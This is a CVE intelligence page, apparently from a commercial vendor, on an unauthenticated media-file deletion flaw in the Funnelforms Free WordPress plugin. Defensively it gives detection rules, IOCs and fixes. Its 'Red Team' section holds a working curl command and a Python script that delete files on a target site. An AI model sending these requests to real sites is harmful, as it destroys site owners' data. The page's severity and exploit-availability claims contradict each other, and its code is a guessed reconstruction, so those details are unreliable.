☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-5857

CVE-2024-5857 Denial of Service in Funnelforms
📅 PUBLISHED: 2024-08-29 03:30 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.16%
👁️
0.16% probability
4.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1485
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: L Availability Low
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-5857 is a critical missing capability check vulnerability in the Funnelforms Free WordPress plugin, affecting all versions up to and including 3.7.3.2. The flaw resides in the af2_handel_file_remove AJAX action, which allows unauthenticated attackers to delete arbitrary media files from the WordPress installation. This can lead to denial of service, defacement, or data loss. The vulnerability is classified as a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). No public exploit code or patch is currently available, but the risk is elevated due to the lack of authentication required.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 5.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: None
  • Integrity Impact: Low
  • Availability Impact: Low

The threat level is elevated due to the unauthenticated nature of the attack, allowing any remote attacker to delete media files without any privileges. While the CVSS score is medium, the potential for widespread abuse in WordPress environments makes this a high-priority issue for defenders.

Deep Dive & Mechanics

The vulnerability exists in the Funnelforms Free plugin's AJAX handler for file removal. The af2_handel_file_remove action is registered without a capability check, meaning it does not verify that the requesting user has the necessary permissions (e.g., upload_files or edit_posts) to delete media. The function likely receives a file path or attachment ID via a POST request and proceeds to delete the file from the server's filesystem or the WordPress media library.

The attack flow:

  1. An unauthenticated attacker sends a POST request to /wp-admin/admin-ajax.php with action=af2_handel_file_remove and a parameter specifying the file to delete (e.g., file_id or file_path).
  2. The plugin's handler executes wp_delete_attachment() or unlink() without checking user capabilities.
  3. The targeted media file is permanently removed.

This can be used to delete critical files such as site logos, uploaded images, or even plugin/theme files if the path is manipulated, leading to site defacement or denial of service.

Vulnerable vs. Patched Code

Vulnerable Code (simplified example):

add_action('wp_ajax_af2_handel_file_remove', 'af2_handle_file_remove');
add_action('wp_ajax_nopriv_af2_handel_file_remove', 'af2_handle_file_remove');

function af2_handle_file_remove() {
    $file_id = $_POST['file_id'];
    wp_delete_attachment($file_id, true);
    wp_die();
}

The missing current_user_can() check allows unauthenticated access.

Patched Code (expected fix):

add_action('wp_ajax_af2_handel_file_remove', 'af2_handle_file_remove');
// Remove the nopriv hook to require authentication

function af2_handle_file_remove() {
    if (!current_user_can('upload_files')) {
        wp_die('Unauthorized', 403);
    }
    $file_id = intval($_POST['file_id']);
    wp_delete_attachment($file_id, true);
    wp_die();
}

The patch removes the wp_ajax_nopriv_ hook and adds a capability check.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress site with Funnelforms Free <= 3.7.3.2 installed and active.
  • Knowledge of a valid media file ID (can be enumerated via /wp-json/wp/v2/media).

Exploitation Steps:

  1. Identify a target media file ID (e.g., 123).
  2. Send a POST request to the WordPress admin-ajax endpoint:
curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=af2_handel_file_remove&file_id=123"
  1. The file is deleted without authentication.

Automated Script:

import requests

target = "https://target.com/wp-admin/admin-ajax.php"
file_id = 123

response = requests.post(target, data={
    "action": "af2_handel_file_remove",
    "file_id": file_id
})

if response.status_code == 200:
    print(f"File {file_id} deleted successfully.")
else:
    print("Exploit failed.")

Blue Team

Detection:

  • Monitor for POST requests to /wp-admin/admin-ajax.php with action=af2_handel_file_remove from unauthenticated sources.
  • Alert on rapid deletion of multiple media files.
  • Check server logs for wp_delete_attachment calls without a valid user session.

Honeypot:

  • Create a dummy media file with a known ID and monitor for its deletion.
  • Log all AJAX requests to af2_handel_file_remove and inspect the file_id parameter.

Indicators of Compromise (IOCs)

  • Network: POST requests to /wp-admin/admin-ajax.php with body containing action=af2_handel_file_remove.
  • File System: Missing media files in /wp-content/uploads/ that were previously present.
  • Logs: WordPress debug log entries showing wp_delete_attachment calls without a user ID.
  • Database: Deleted attachment entries in wp_posts table with post_type = 'attachment'.

Detection Engineering

YARA Rule

rule CVE_2024_5857_Funnelforms_File_Delete {
    meta:
        description = "Detects exploitation attempts for CVE-2024-5857 in Funnelforms Free plugin"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-5857"
    strings:
        $ajax_action = "af2_handel_file_remove"
        $file_param = "file_id"
    condition:
        $ajax_action and $file_param
}

Sigma Rule

title: CVE-2024-5857 Funnelforms Unauthenticated File Deletion
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to WordPress admin-ajax.php with the af2_handel_file_remove action.
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /wp-admin/admin-ajax.php
        cs-uri-query|contains: action=af2_handel_file_remove
    condition: selection
falsepositives:
    - Legitimate admin actions (if patched)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5857 Funnelforms Unauthenticated File Deletion Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-ajax.php"; http.client_body; content:"action=af2_handel_file_remove"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Add a Web Application Firewall (WAF) rule to block POST requests to /wp-admin/admin-ajax.php containing action=af2_handel_file_remove from unauthenticated users.
  3. Restrict access to admin-ajax.php via .htaccess or Nginx config to only allow authenticated requests.

Long-term Fix:

  • Apply the vendor patch when available (expected to add capability checks and remove the nopriv hook).
  • Update to the latest version of Funnelforms Free once patched.

Workaround Code (if you must keep the plugin active): Add to your theme's functions.php:

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX) {
        remove_action('wp_ajax_nopriv_af2_handel_file_remove', 'af2_handle_file_remove');
    }
});

Valters IT
Securing WordPress ecosystems, one CVE at a time.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"funnelforms"
http.html:"wp-content/plugins/funnelforms-free"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-5857/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.